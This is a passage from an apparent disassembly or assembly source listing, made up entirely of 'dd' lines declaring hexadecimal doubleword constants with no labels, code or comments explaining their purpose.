		dd 0F1CD3EBh, 0A70059C2h, 5B0B8E6Fh, 0ED093DE4h, 0F678824h
		dd 91A00D5Dh, 1B536B48h, 0C7278005h, 480679Ah, 0A142678h
		dd 19DFA14Eh, 5F0784F4h, 539BD01Ch, 0CB14A6B8h,	11C65834h
		dd 0CA0001A1h, 28607A56h, 84A07D5Ah, 0A900E4A3h, 0C7C88123h
		dd 0E21EFB5h, 22F02848h, 60F22A80h, 2D601CE3h, 2F51BA68h
		dd 0BEF6B2h, 4B327249h,	0A2C1556Fh, 713EED73h, 0A61C83F4h
		dd 901B7D13h, 39528A9Eh, 1E304CB7h, 46C32318h, 1D0FB160h
		dd 12495BB4h, 7C9016Ah,	0AE4A31D4h, 8D6CA7A0h, 0E002079h
		dd 6BFF17F4h, 12D7855h,	0A4DC3553h, 800706F7h, 4BFB7E46h
		dd 957210h, 74516B7Dh, 0D5B2C85Ch, 0B785BD00h, 4C8AC2DAh
		dd 98C30083h, 50C50B26h, 0C00726Ch, 0EB03E0FAh,	57F8057h
		dd 58D8780Ah, 819B4027h, 5D39424Dh, 9AEA430Eh, 76BE8C1Dh
		dd 58A80011h, 0D1AB38E6h, 7B02DBF5h, 9DAFE5B9h,	143160D7h
		dd 44A60680h, 348330C7h, 23359E18h, 114ADC1Dh, 39946BE8h
		dd 7AB4E042h, 0A47486DFh, 9B7700D2h, 6BA96F81h,	0B700E2A2h
		dd 0E8204019h, 121411Ah, 0E3F54EE9h, 0F4D4ECC9h, 324F466h
		dd 0E5002A17h, 7D80E9CAh, 0A079031Dh, 39C6A1B3h, 9ED877D8h
		dd 2F404A4Ah, 0B00B1F4Ch, 72430212h, 444D8B60h,	69D8960h
		dd 0C0BD5F28h, 7E40E302h, 6070F4FFh, 9801A6h, 0B7CBAA48h
		dd 4D32DFA5h, 94427B00h, 0A1D9F1CEh, 0DDF73FD3h, 0E69E6703h
		dd 0BE98ADAAh, 83FADBB6h, 84910607h, 5420EBBDh,	0E16BF2C0h
		dd 0A6CBC4Ch, 0B9F59F1Ch, 515E2D91h, 89066801h,	1480BAF2h
		dd 0CBE5F760h, 4200D6EEh, 0FF374F2Ch, 608E0B6Dh, 0FC6525E9h
		dd 39989770h, 9992A40Ch, 71D1B19h, 0C2E2BB59h, 0EC5370B0h
		dd 630CF70Fh, 0E212EB89h, 0DCD21FBDh, 8212398Ch, 21DE404Eh
		dd 0E5E7653h, 0FB94702Ch, 0CF95A700h, 54118h, 0E0307E11h
		dd 66CC7863h, 0AD161C04h, 26904819h, 30B9455Bh,	3CE1C5DBh
		dd 80C0AA99h, 11B8D9B5h, 6A7A1CA9h, 0CD05405Eh,	0D8412032h
		dd 0F5D2A000h, 58B1D1AAh, 0AE75C4h, 0E7D481B9h,	0A25DE9FFh
		dd 0FE612500h, 5F750921h, 326A0082h, 39718564h,	82A38D6Bh
		dd 437B95B0h, 801CA839h, 870AEB23h, 1F1E93DFh, 82201F47h
		dd 0A481972Bh, 0FCEE9C0h, 92D62095h, 0EFD19F4h,	24B0F19Dh
		dd 5A6C7020h, 561E2877h, 0BBAE5C7Eh, 2F677D61h,	16987D8h
		dd 6C886331h, 618B6634h, 768AE818h, 18A23E52h, 0EE989B74h
		dd 0E6890956h, 0D372C681h, 0F1ED837Bh, 1F6D2CFFh, 8ABA8F5Eh
		dd 13EC815Ch, 0EE14890Fh, 8AE38F53h, 4B3B0CC3h,	6987F888h
		dd 2258381Ch, 3A0F6803h, 148B07E8h, 15C4813Ch, 2466543Dh
		dd 68151483h, 33327F2h,	0FF08408Fh, 9358B234h, 514B0F1Ch
		dd 0C18AE189h, 870CB162h, 0E980800Ch, 0FFFC3E6Ah, 40B100A2h
		dd 6D1D20F5h, 3F631BB8h, 0F8C50392h, 185ABE0h, 0FBA12EF8h
		dd 40F13017h, 82EE67E4h, 7FF07897h, 0B85A2456h,	46003E3Ah
		dd 0FF706827h, 36F862B4h, 43008BF8h, 5D2C5942h,	64D06Fh
		dd 589DBB56h, 0F629A305h, 0F4B60A02h, 0C3DD54F3h, 605DD2FBh
		dd 36138EBh, 8A3C3F51h,	0C4E04E36h, 6489953h, 52690168h
		dd 9E9C18Bh, 0CE2AE780h, 7D5D012Dh, 0DFE0AD12h,	8B0FB6F3h
		dd 9EF3A1BDh, 9CA68308h, 348CE1F4h, 974E8730h, 8166C398h
		dd 9170C70Ah, 17A5F150h, 801991FCh, 0F691CC76h,	89C80B2Ah
		dd 0DB61759Dh, 0B23A2B6Ah, 0D2001D23h, 0CE12C53Ch, 2BC00CA5h
		dd 0D6AE6DCAh, 543D5536h, 419428C8h, 8B0F27FEh,	0D95CA812h
		dd 29977049h, 1B8E890h,	0A6F3BA9Bh, 0D71F42Bh, 505F6E01h
		dd 61605153h, 0B590BADBh, 0F1678359h, 6DF83BF4h, 0C1A1223h
		dd 1D4CF5B8h, 801B11AAh, 187D96C7h, 9DE818A0h, 852946F6h
		dd 0B482394Ah, 801076E9h, 6EF3E258h, 0B701D4B1h, 0B4E4A280h
		dd 1D86CF5h, 0DA83123Ah, 1EADF31Fh, 3BC9CEBEh, 0AD917976h
		dd 0FE098C10h, 9000A9F2h, 0F572C3Ah, 1E3CC39Dh,	64298AC4h
		dd 1A09084Ch, 89D3FF07h, 97997D86h, 0B971A03Ah,	1B181959h
		dd 0A79B1F05h, 0FA063817h, 194447CFh, 0FD22E1BDh, 8D382FAAh
		dd 0E41419Eh, 0C01688BAh, 1DA1239h, 2ACD8D12h, 79C8ABF6h
		dd 6420C569h, 5FB76017h, 484987Fh, 29A450CEh, 8002E802h
		dd 0C97D21E1h, 9D8B0CD2h, 0F7E06FDh, 6D218F5Bh,	0B225E1B5h
		dd 0F96302Eh, 0E922F0BFh, 0D13C0013h, 0F5D981EFh, 0B9002FFFh
		dd 0FC8957D6h, 12293B1Ch, 0F4475D53h, 0E08B8F8Bh, 9714598Dh
		dd 400467A2h, 66103C19h, 0B41A4ABFh, 9D10A9E9h,	81159174h
		dd 11E9121Dh, 4CB51580h, 7817E7CCh, 50B4C100h, 0C6CDDF37h
		dd 7300529h, 985C710h, 0AA5B0149h, 1DAC27D8h, 0FC8778FDh
		dd 552E970Bh, 5BB63FE6h, 0BD952943h, 40099AA1h,	2677E2Eh
		dd 0C9858980h, 4005241Ah, 0FF32D0A0h, 8D4942h, 384C8188h
		dd 2E1F41A9h, 442A4274h, 0FA001B23h, 0ACF63B33h, 1ABF2EE2h
		dd 38F21439h, 79950183h, 9040BDBCh, 8C15A835h, 9197C678h
		dd 0E3154239h, 862F5F87h, 0F001623h, 0BD29D926h, 7A719ACDh
		dd 93824A50h, 52C360F2h, 585A31C8h, 8990614Fh, 802AED95h
		dd 22F5A3E9h, 148110AEh, 0C94BB038h, 0FDF3E04Fh, 5EBDA517h
		dd 2A9F2B00h, 13694517h, 0E670E6EDh, 49A3E086h,	0A23B09BFh
		dd 0A9F9671Dh, 0E58E7A00h, 99BE28h, 7B769E23h, 0BFC54373h
		dd 6EDCC700h, 371E4A4h,	29CD24B5h, 0D8B68E12h, 0E5928969h
		dd 0EE400A54h, 3F6547DCh, 5D842BD6h, 0AD524EF6h, 0E5DB4EACh
		dd 9E2703C0h, 3D054152h, 14830FB0h, 0E23D1Dh, 0F1C6E5A4h
		dd 0A387B05h, 0A0673600h, 8A6CF761h, 3EC3528Bh,	3E3016E2h
		dd 0F898587Ch, 5CA25D22h, 0BA26585Ch, 466F00DEh, 19556F4h
		dd 890937F5h, 2013ED8Dh, 2BE2F77Ch, 602EADD8h, 64014208h
		dd 68AE5305h, 9520E898h, 2E95F5h, 8AFB16Bh, 7A61EDFCh
		dd 0B401A5E2h, 0A88248D4h, 0CC20DDF7h, 935F24FAh, 0C5902F67h
		dd 0FC09E5DAh, 4253D8h,	0A728BE72h, 7720EFCEh, 4CEDF050h
		dd 932430F8h, 4E2FDEDCh, 56F69A19h, 40D8409Fh, 0F2098352h
		dd 7B462EB6h, 0AF6DA79Ah, 76D0E440h, 23390255h,	57DD8B7Eh
		dd 1BA27243h, 84B05F03h, 0C9B8E4A9h, 530E1E00h,	0C8C5B238h
		dd 0F3B7240Fh, 0E86009DEh, 9979C090h, 9E02A40Ah, 926EBF9h
		dd 61242D10h, 203928B9h, 24970991h, 0AC5784B3h,	0C7182440h
		dd 0CD6BB16Ah, 1DADC036h, 0E50F8AD8h, 44BF3BACh, 0F9E80C9Bh
		dd 30A6E4Ah, 0ED21F1AAh, 9273E0B4h, 491CB8EBh, 9B4A9DFEh
		dd 0F6578057h, 49C426A0h, 8A4D9564h, 0B190A1BCh, 6D20C290h
		dd 9B584E2Ch, 239802Fh,	90FED821h, 3D6997Eh, 7F34C727h
		dd 2F6B49C1h, 69A56A48h, 0D853F8FBh, 14218AFh, 5BEE9F71h
		dd 44B9CF3Fh, 586BB839h, 6AE0C017h, 98436E9h, 8D0FC25Dh
		dd 0E998D192h, 35043DE4h, 5E213E41h, 523483BDh,	0D16FA7h
		dd 0EB93C8D2h, 9BFC26Ah
		dd 507BC1F9h, 69917178h, 0B6181AD1h, 77C81602h,	8251EDACh
		dd 9157DDAh, 0F1109871h, 0D3AD1CFDh, 6156E807h,	8A53F74Dh
		dd 0ECFCAA95h, 335B4D18h, 0E129FCBDh, 0B6C4E802h, 401571B8h
		dd 8020F5EBh, 0B7B7C32Bh, 261011Ah, 0C6E2BF66h,	6CC58B5Eh
		dd 0ACECBCA9h, 0C5B4F400h, 77F541DAh, 80EDB1D3h, 0DD3E455Ah
		dd 0AF01DE55h, 0AC8C1C9Fh, 60100DE9h, 890001E1h, 0BDDC0C76h
		dd 0DBFB08Fh, 28E93CD8h, 0B9D52925h, 0F2EEF0h, 8B9EA873h
		dd 1AEBBEC0h, 0E72CE425h, 6716E4B8h, 0C78DE4B0h, 0DD20B585h
		dd 7378471Bh, 15D17E91h, 7366C919h, 217D1FE4h, 0AFAD7200h
		dd 6EA49F4h, 2E8A1347h,	1E97C6D2h, 291044AFh, 0F21DB526h
		dd 808CC6A5h, 0B3ED33FCh, 85290795h, 417239BDh,	4D5CC549h
		dd 8C15B894h, 52B11631h, 2F411A71h, 90022649h, 9DC5076h
		dd 0C40B3646h, 4931E604h, 797AE9h, 0E6362BBCh, 0BB75D45Fh
		dd 2622513Dh, 1DED064h,	268DCECAh, 0C99D292Fh, 0FAC79233h
		dd 9B8063DBh, 0F5F6D2AFh, 80F98601h, 31F18D29h,	7509C591h
		dd 62537803h, 0AC8C51DDh, 1B2801ABh, 0D84DE307h, 0B04FDF7h
		dd 820F16C8h, 0FA601988h, 0C3AA01CBh, 85895352h, 9EAC625h
		dd 1811B51Dh, 35B0E580h, 0F16DCE6h, 0F8880C87h,	0E80D5245h
		dd 0E3056D16h, 301BB25Ch, 3D002E8Fh, 0A0A99707h, 528D0953h
		dd 5F2589C1h, 0FE6181E2h, 211F24FBh, 0B7C17BC9h, 1879887Fh
		dd 6619F30Bh, 0C4278564h, 2AAB601Ah, 7334092Bh,	0A28472AAh
		dd 81664005h, 0CB602CDFh, 6A66F2BEh, 0C7F75058h, 0F47038B0h
		dd 0B63B7E53h, 14467C71h, 0B589B704h, 4953E259h, 4896BC45h
		dd 0D9043309h, 0CC3B63F9h, 92F6D7E3h, 27014778h, 0C7AAB656h
		dd 9E676A81h, 0AB28A8A0h, 0FFF1C001h, 8B0F35CBh, 6A8203Bh
		dd 0B4078E1Bh, 0F9129E67h, 0A3020855h, 68E84C24h, 0B62C595Ch
		dd 20534BA3h, 0E03F7371h, 0C903A1E6h, 0B302634Eh, 0F8C5250h
		dd 0AFBE6605h, 0A7CF557Ch, 0B00BB6BCh, 64C4F5FCh, 6990062h
		dd 26EEF067h, 6400540Ah, 92D0C044h, 149E621Ah, 0E851BD29h
		dd 0FD9589C1h, 60084008h, 212DB501h, 0D6BF3A0Fh, 0F961658Fh
		dd 79AD659h, 82263681h,	0DDC220E6h, 0CC680141h,	7DC71FD2h
		dd 0BEB7405Bh, 37C71F1Ah, 3E6CB6B6h, 0E92340B1h, 9038485Bh
		dd 16F0AB2Eh, 0DB15C554h, 0A5814172h, 0B1AB70Ch, 0D9C011F3h
		dd 8B0B7D0Dh, 0D305559Dh, 1FE0D0C3h, 82CA7638h,	25B8FA96h
		dd 5BCE5858h, 60847330h, 0AFD7705Ah, 0D87DF1D0h, 613E2DF5h
		dd 5F9277A6h, 0F178AE93h, 0F6A11C16h, 0FA7C00BAh, 4A68BD83h
		dd 4D4594B6h, 38EC32F9h, 0E8DDA300h, 0D0FA7EB0h, 8D0F2E8Ch
		dd 0C8E944BFh, 3A00804Fh, 0E3A1ED3Ch, 0C2842Dh,	27654EF3h
		dd 6C14CB40h, 1169117h,	97D9A480h, 3DACFDE9h, 0A3B435B0h
		dd 0B53104A5h, 64AA055Dh, 81527EFh, 2810F86h, 0F08B240Dh
		dd 9EF12059h, 1D4676E3h, 0B1646F00h, 0FBF5BD72h, 33137E00h
		dd 0B4BA2BBEh, 6874B622h, 0BFD5804Dh, 1420F6D7h, 0D46B2300h
		dd 0CC09F971h, 0A3AF0B12h, 59625E8Ah, 22803BB7h, 0E4376F0Eh
		dd 33150BEBh, 61641ADCh, 0F205145h, 8B22840Ch, 64429506h
		dd 0D04B73D1h, 447490BEh, 0E700A710h, 0BB54DF48h, 1611E256h
		dd 91955782h, 4C830F1Bh, 5E4DF1B7h, 5C304E98h, 2FC542E4h
		dd 0C861A2D8h, 0F55F000Fh, 0DEE93061h, 0C59529FBh, 7024215Bh
		dd 57CF4201h, 48F098B8h, 0B5CB007Fh, 0D7E21451h, 4F4F2183h
		dd 10AD9414h, 0B61306A1h, 0E68AC412h, 649AE0C8h, 1C2B1E32h
		dd 0C4D25358h, 0B83EFD99h, 65FF090Bh, 0B9E4FC1Eh, 1B4E04BFh
		dd 0BCC38B05h, 74054EBAh, 0F6278A0Fh, 0D040E88Bh, 61A007Eh
		dd 7B3D7AA2h, 84015930h, 0EFD5DDBEh, 9D34A3C5h,	3C5F812Eh
		dd 0AEDB5F76h, 9133D880h, 0ABA06293h, 14602985h, 2B61D7ABh
		dd 4B61F9D8h, 4041ED9h,	1E0245DDh, 9D059396h, 0BC10204Bh
		dd 9D5D0179h, 0F76359D9h, 6052EEh, 9FF66CA3h, 7F04421Dh
		dd 0F0EAAFA0h, 605A2B25h, 95935E7Ch, 6B8B31C1h,	0F0A9AA25h
		dd 23032ED3h, 69C12618h, 401D602h, 0ED697F59h, 89AE4014h
		dd 2760B59Dh, 0ED850944h, 246A912Fh, 8FE60377h,	70A2F835h
		dd 0D270515Bh, 0E00D05FBh, 1685897Fh, 8201875Eh, 0A25C064Dh
		dd 0DA17C942h, 76294506h, 30D2E0A2h, 253726BFh,	79892AF3h
		dd 592D2466h, 0D5C696Dh, 0A26AD86Bh, 3E7DE470h,	0CE041514h
		dd 9440B4B1h, 23B53A79h, 0C00C1C1Dh, 8DEE39D6h,	0FA16E9C6h
		dd 0B7E352E1h, 2FEF8140h, 0EECA2E23h, 398E16B7h, 0E2F80156h
		dd 207C5752h, 0AB5CE480h, 690004A4h, 0D026640Eh, 247A7D18h
		dd 285E9A6Eh, 28D1B396h, 0E29209Bh, 388D585Ch, 2D7A41EDh
		dd 0F66A2B63h, 0D27A007Fh, 55776713h, 0CB489080h, 0F5B508D6h
		dd 0A3492809h, 966EB707h, 6E7B07C9h, 30BF001Dh,	0C053D65Dh
		dd 38FEA209h, 0E88291BEh, 65190BCEh, 0E8620ABEh, 96D63DD0h
		dd 0A8A37B17h, 93FD832h, 424B3074h, 401E5605h, 2B4F4DC9h
		dd 504BDB07h, 0C40C784h, 43D7863h, 436134E1h, 360B273h
		dd 0B095CFB9h, 8EA5F005h, 57DC2D5Eh, 0C2970591h, 0E7628B4Fh
		dd 6DC852Ch, 952954CCh,	2053C989h, 0B2B5ADh, 4DE5F59Fh
		dd 92687433h, 0DEC0B068h, 2C5BA0BEh, 38EFC32Bh,	88F03D45h
		dd 29E98E27h, 0A10EF712h, 36A4A10Bh, 8BF600C7h,	0B8ACBFC0h
		dd 0ABB4CC7Fh, 3E87C4ADh, 0A883FFDCh, 0FB333A91h, 717C64B1h
		dd 0BF61013Ch, 69B7D839h, 4AE45E5Ch, 405328D2h,	4C0137B1h
		dd 6E9AA495h, 1B11D01Dh, 0B0D89380h, 0CE0B838Eh, 842979A4h
		dd 51051A13h, 0CEAAA35Fh, 4FE91232h, 760B45E8h,	2A33CB0h
		dd 0D319E107h, 2C76BECAh, 50671B7Dh, 881658BFh,	46643A9Fh
		dd 76F8A582h, 0D101DE01h, 6D6E9796h, 0E6C455BAh, 8A6002FCh
		dd 0F9B503F7h, 0BF8BD256h, 1F6C4C6h, 717BDC22h,	2F61CAF6h
		dd 1EBD24C1h, 0C1B85829h, 0A0CCF700h, 70D3C75Ch, 20554AA8h
		dd 4F810DDBh, 5461BF09h, 0BB7915h, 6DB2103Ah, 0EC1E3516h
		dd 8A40FE92h, 0F2FD2E4Fh, 841B4960h, 5EA37B0Bh,	55511184h
		dd 95ABC72h, 2B336F8Ah,	0DE3843C6h, 462F1689h, 1CB33AC8h
		dd 40BF2DF4h, 0E28BD511h, 0EE4E6834h, 7129E9C9h, 178F01Ch
		dd 8D89864Ah, 25452CB5h, 700E7B5Eh, 98FA4C78h, 2B60C603h
		dd 2237D95h, 3047D8A7h,	0D2432D4Fh, 5175A700h, 7DBAC554h
		dd 5E533ED4h, 43B1AACh,	91663C38h, 7D8D9DDCh, 0ECF5415Bh
		dd 2B4BE9FEh, 0DB2AD4F1h, 320B8000h, 0E0C839D8h, 4F132F7Ah
		dd 20051C4h, 55AA2C3Fh,	0F8AD91C5h, 96A0E63Dh, 7465409Fh
		dd 5A00D9FCh, 20587C7Eh, 1FC891E6h, 8138F5E8h, 9D01CF41h
		dd 5FAD24FDh, 16415996h, 8FCFE1Bh, 0AACB008Eh, 4E4BB99Ah
		dd 1D58A68Dh, 0F3ED075Ah, 13500247h, 90705521h,	6EC14F1Eh
		dd 0D3E51628h, 82B72AC4h, 22A6C800h, 134418Bh, 53B26600h
		dd 0F978DF7Ch, 322404F2h, 0E691CBEBh, 4B16E04Bh, 0DFA01CDh
		dd 71FFB7E9h, 66860B2h,	0FD87858Ah, 448CEC56h, 0AD1AC457h
		dd 905F0015h, 1DC7BF50h, 0E53F2E41h, 50716CF3h,	86DC7D0h
		dd 2C0D9529h, 820F4A31h, 8BC0B76Ch, 3DBD89FBh, 0BB9B4DA9h
		dd 0BC6F4D70h, 0FD220F18h, 0EBC1B15Eh, 70E0EDD5h, 255BCDADh
		dd 9400137Fh, 4B423A86h, 0F912BAB9h, 533062CCh,	23FC56h
		dd 78D04613h, 0B6376160h, 890CD901h, 0A24753ABh, 7908058h
		dd 0E28BF66h, 0B580C550h
		dd 0F452DD7Ah, 0DE4E35BEh, 0F99006D1h, 1CECE76Ch, 402E008Ch
		dd 77B9BE48h, 0A55858E7h, 0A1FBC0CDh, 162BD21h,	0DA249A97h
		dd 0E433D00Ah, 6C9D2389h, 0D6B5BF4Eh, 0F0B0FA00h, 0FE7F531h
		dd 8B8C8866h, 2046CD16h, 162DCED9h, 5E269AF5h, 6007DC5Eh
		dd 0F117660Ch, 0BF464D0h, 9A52DBDh, 615C49A9h, 2FE100DCh
		dd 8DEB9C8Bh, 8211BD01h, 1E750AE9h, 4210174Fh, 9765BE5Ch
		dd 890277DBh, 27218D95h, 0A57198BDh, 4F397925h,	0C101FAB8h
		dd 55E96B26h, 0A820F382h, 601A4061h, 0CAB7BE04h, 0BBB23197h
		dd 2F10D00h, 0ABA1A5A9h, 0AD3C615Bh, 5BC08A2Dh,	60822779h
		dd 0ED139910h, 4280D35Eh, 0FA9815CEh, 6A5C2A7Fh, 60FF1D35h
		dd 83718D1Bh, 416877F8h, 12A2AD23h, 0B837759Bh,	69021F1Fh
		dd 0DA8FEA41h, 0E7734AAEh, 0E8BBB344h, 9FC0C96h, 72FE9AB1h
		dd 8A93487h, 549216BBh,	880CB5C8h, 0BC147E9h, 3488F781h
		dd 35F574E4h, 0A33285C7h, 316B7D74h, 70795B0Bh,	0F10ACA37h
		dd 300C2241h, 310C114Eh, 8DB32D95h, 514BEDA6h, 8A656337h
		dd 0FB5F1909h, 8435AFE5h, 0BC02A207h, 7AB1D8D5h, 52B81D7Dh
		dd 11018FFAh, 38EC5B05h, 7A6C12E5h, 0F0F34789h,	77CD00BFh
		dd 4A6B691Bh, 0DF01079Fh, 0D4B1A017h, 0ACFB30Ah, 8BD1BD29h
		dd 9439C6ADh, 0C69DD438h, 36CD0444h, 0B303EDE9h, 3216B2BBh
		dd 102D88D4h, 16CD99A6h, 1A979D0h, 5FA36219h, 0BC183DB0h
		dd 0F9A600E1h, 565F9860h, 0C909BD1Eh, 5E9DB533h, 49231E4Dh
		dd 67E08A1h, 4D7127BDh,	0F32C1CAh, 0CA8F304Eh, 20B4FCF0h
		dd 49010526h, 0BA6DF698h, 0ED908C2Eh, 0A64E1A42h, 29B4E061h
		dd 0EB79558Dh, 73A69700h, 0B6BD7103h, 3F812756h, 0E40CDF81h
		dd 13B458FCh, 7358FB25h, 37F654F0h, 0C7D82B29h,	0F4181BD1h
		dd 61DFFB00h, 0D8111874h, 8036B993h, 9A623E90h,	63008C01h
		dd 82716FF8h, 9FED7F7h,	596A70A5h, 0D561B9F4h, 0CFEC967Ah
		dd 5ED0003Ch, 932E24EEh, 591307BFh, 3B8D7706h, 344B302Ch
		dd 812AC139h, 465D6D35h, 0D5B64BFFh, 1535A9A0h,	50BF570Eh
		dd 5E7362ACh, 434CDAF9h, 0ACF4495Ch, 2BBA3EA3h,	609F550Ch
		dd 0B08DACAh, 27034585h, 30AA9352h, 3D7BD5Dh, 0BF692764h
		dd 0FACCD1D8h, 598D8927h, 0F324B973h, 31579729h, 0E8D69018h
		dd 0C2127463h, 7D16E283h, 87094795h, 1B462AE1h,	70E6FB25h
		dd 0BE05C0F2h, 58ECF7E1h, 1723A23Ah, 38F67F07h,	691BF537h
		dd 29129145h, 0B94764D6h, 608CEF29h, 76E3D48Dh,	20F2F649h
		dd 0C1832F1Fh, 45387698h, 53295424h, 12BF2A00h,	26D81A10h
		dd 13611811h, 0C14EBCE9h, 1B09B523h, 25DA5F02h,	0FBBE3269h
		dd 0C80F79C8h, 0DF093DB6h, 0F1BC8E33h, 9620015Ah, 0D0DA68D0h
		dd 0EBF0738Ah, 0D2E72116h, 906F54C5h, 0AC7E0A0Bh, 0B35B4A64h
		dd 6A4B41CEh, 0B98A4AC4h, 0F0E6E64Bh, 54C787h, 0EFB7D9A3h
		dd 2B64D857h, 0F0A726F9h, 0D90C09h, 0FA9F1D0Ah,	0A99D89C7h
		dd 60692E41h, 0B14F2D88h, 0EF020374h, 0BB55E828h, 4A473CE2h
		dd 0AE6014E4h, 0ED97C08Bh, 9DC9C113h, 4C7F6D2Dh, 79FC1E32h
		dd 1F45B504h, 0B4C21216h, 0CF0DFD3Fh, 72FC710Bh, 7CB8FE79h
		dd 96978E02h, 0D9F08B0Dh, 352EE65Fh, 0C02DCD97h, 32B33517h
		dd 46538B9Dh, 71DAC55Bh, 4A5BB71Ch, 20D91CC4h, 1E19F041h
		dd 0FEF89003h, 52A8529h, 0F8B40F0Ah, 4DE8C2Ch, 0E9FACF18h
		dd 0A82F400Dh, 153EB7Ah, 0A2B48B87h, 34B64A10h,	0B9FF535h
		dd 70E8732Fh, 2E758848h, 55BD0912h, 0B75E86B0h,	0DB5D9490h
		dd 5AC9F500h, 44F1570Eh, 0D8A400FFh, 9C172B6Bh,	150458B7h
		dd 458D0942h, 0BD5F14E0h, 211CF305h, 1D75ACh, 17B8F781h
		dd 455CB30h, 0FF0D6DC6h, 1006E7Ah, 0D05A5310h, 1A9074ACh
		dd 0E98C0F2Dh, 0FC615193h, 10195C40h, 0E360EC5Fh, 20C24131h
		dd 4196C881h, 61706A02h, 70958589h, 6E2AEF6Fh, 2A2300DCh
		dd 8992B9B3h, 8B4851E1h, 8C2DD203h, 15066009h, 10B06755h
		dd 86820970h, 2084CA33h, 0B90025B5h, 600F9BDEh,	0B649E961h
		dd 0BD330559h, 8BA74421h, 0B8FBA9C1h, 376A0B6Eh, 0EF46F679h
		dd 18F1DB80h, 18F15D91h, 0EC1C0518h, 1AED7D42h,	0DC457CCBh
		dd 99717400h, 784EBC2Ch, 152E250h, 0E9AFC1BFh, 2F310F2Eh
		dd 585A2D04h, 90096BB0h, 4BE7963Bh, 150276B7h, 0D697A1D9h
		dd 8777405Eh, 0D601F07Fh, 2C9CD08h, 0BF40A211h,	70BDBFC5h
		dd 394F5641h, 47D164F0h, 94FD4059h, 2965261Bh, 2F81B541h
		dd 6D102A6Dh, 0B36B9260h, 49B5D30Eh, 0BD2AE3Dh,	256C2619h
		dd 1571AA91h, 54071418h, 0DFBA40BFh, 0B6A8D5FAh, 62B4611Ch
		dd 5FB8D6E8h, 4EBFD15Ch, 0DE0CE4C9h, 5A93B052h,	0F8D3362Dh
		dd 0F1C5920h, 7503BF66h, 0BC7AA992h, 0F511635h,	2D77898Ah
		dd 844E023Ch, 0D11954B5h, 0D2E2A7E6h, 19FE479h,	462585CBh
		dd 0D460B4C1h, 0D62EC600h, 0AF936CEEh, 0BEA1133Ah, 0DB309A2h
		dd 73E8E456h, 2A98267Eh, 68CF017Ah, 68092FE9h, 6077B1D2h
		dd 0A8163D09h, 0E7E100CEh, 63952812h, 2953F53h,	0D1F11055h
		dd 0A112E4BFh, 0B804295Ah, 48B41DB9h, 89DB49E2h, 42198D04h
		dd 0F23859Dh, 0B1EDB584h, 47B13C8Ch, 0C612A039h, 4EFCFA20h
		dd 0D3211389h, 294D8DB4h, 2A4BCB8h, 0BD83FB9Fh,	0A8D15E81h
		dd 0FC503111h, 0E913408Dh, 376D6769h, 0B61081F3h, 965538BCh
		dd 4CB81556h, 675E8184h, 1A2C8649h, 0B12C5C77h,	528C14FCh
		dd 8A703101h, 545DE685h, 0DB41AACFh, 41A59D2Ah,	685696F2h
		dd 1D6E5FA4h, 2AF7FF00h, 7AEFC43Fh, 9ABCF816h, 1880E5B8h
		dd 25E9C30h, 1FA02039h,	0B8C0159Eh, 9F975DA3h, 89F91CF4h
		dd 656AE58Dh, 7C1AC279h, 0DC957645h, 0BE02840Ah, 0D909C533h
		dd 79A27B20h, 172181Dh,	6266718Bh, 0D5DC3FF2h, 27203AA7h
		dd 415853h, 0DD46364Bh,	6C61676Dh, 0C3754C00h, 98E1694h
		dd 5090019Bh, 3A0580BEh, 0F681DC28h, 7ABBB017h,	7FB48A53h
		dd 16D85DE9h, 80EF9B4Ah, 75A2E360h, 200690B9h, 4C971989h
		dd 2D951323h, 229E327h,	0E64411C6h, 53375770h, 0F162DF04h
		dd 0BD1520F8h, 134EBDC5h, 13776F9Bh, 0B10B5055h, 89D90773h
		dd 0EB53A508h, 0FF181951h, 0A91FF903h, 0C48BC5F8h, 68B8D9ADh
		dd 0F9BE5102h, 78640FEEh, 0DC49B6DAh, 5CD2CD00h, 0F2827AD9h
		dd 0B828091Fh, 72D1830Fh, 6B0E9602h, 401D5E6Dh,	4503DA8Fh
		dd 0B7AB8D00h, 9BC47B21h, 200AB4EAh, 16D14AFCh,	81259E0Ah
		dd 760D89D6h, 0ECD3388Ah, 0A6DB8BC7h, 8100385Ch, 596854E7h
		dd 0A6BA9F3Ch, 360766Dh, 2A1E90Fh, 9AF91047h, 315AE836h
		dd 92245201h, 38EEEA06h, 2120D472h, 0F24E5F77h,	0B0F81B31h
		dd 0BEB77FC2h, 274F2A1Fh, 61FC8EC9h, 1EDBD23h, 0D44BBE00h
		dd 927AF924h, 3F7810Eh,	0FA720C09h, 0E07ECD71h,	0B9928945h
		dd 0C4CA9325h, 0DB7200F9h, 0A5BE9C90h, 11E44330h, 46D92000h
		dd 295F51CEh, 5CC92CEFh, 8024AD97h, 9D3141BEh, 0BF2722A5h
		dd 0C5AC6A4Dh, 0C480E09h, 3F5480CEh, 0B55BB2D9h, 63EFF5EFh
		dd 805AA3BFh, 195D51DCh, 0B4601B4Dh, 815210A9h,	893902C2h
		dd 615F119Ch, 62D9D242h, 9525803Ch, 0F9076FDEh,	9B4007D7h
		dd 0A00E43A6h, 0B88C6892h, 93F0C793h, 5C9201AAh, 0F2B8E199h
		dd 2C353CEDh, 0B1AAA4D9h, 0EE0F88Dh, 2F4770F8h,	0DBC44D39h
		dd 25C7CE1Eh, 6EA3F341h, 0DA214C21h, 78B80C2Dh,	0E3756C05h
		dd 0BCC58A1h, 0B147F7Eh
		dd 7C9921E5h, 881C2952h, 0ED2501A4h, 0E919E010h, 183961DBh
		dd 9A039674h, 0F068B2B1h, 4FC6F92h, 0C1831CB2h,	2D3D6FBEh
		dd 34E0A403h, 0F17233Fh, 61ABE7A6h, 35CCA62h, 0F21600DCh
		dd 0CE1E094Bh, 8D5B5399h, 20DED022h, 24C471BEh,	0A554625Ch
		dd 5A810ADAh, 3B9D8953h, 5B5EE944h, 66C0C8DBh, 0D5470CEFh
		dd 1926107h, 4DB92B54h,	6D4FC016h, 9E07AED1h, 0E361D49Bh
		dd 0D1B6F585h, 0A147572Dh, 0B96214C4h, 3129B8DFh, 8656822Ch
		dd 0C06BCD4Bh, 67DDF04Ch, 65209AB8h, 60BF0524h,	0A84B57D8h
		dd 1B410461h, 0FB276750h, 87807ED1h, 0BAC08EAFh, 6B3300AAh
		dd 0A6737084h, 391796ABh, 0C00058F9h, 61EDC0EAh, 90854BC7h
		dd 39CF3FA8h, 86E1F5Fh,	77A8DB1Eh, 0B3FA25A2h, 3530CDF3h
		dd 8066DB2Ah, 11DBD8Ah,	3191208Dh, 652D85E6h, 0B3564E21h
		dd 0F042D11h, 640E5303h, 61CB44C2h, 231D6BAEh, 2880118h
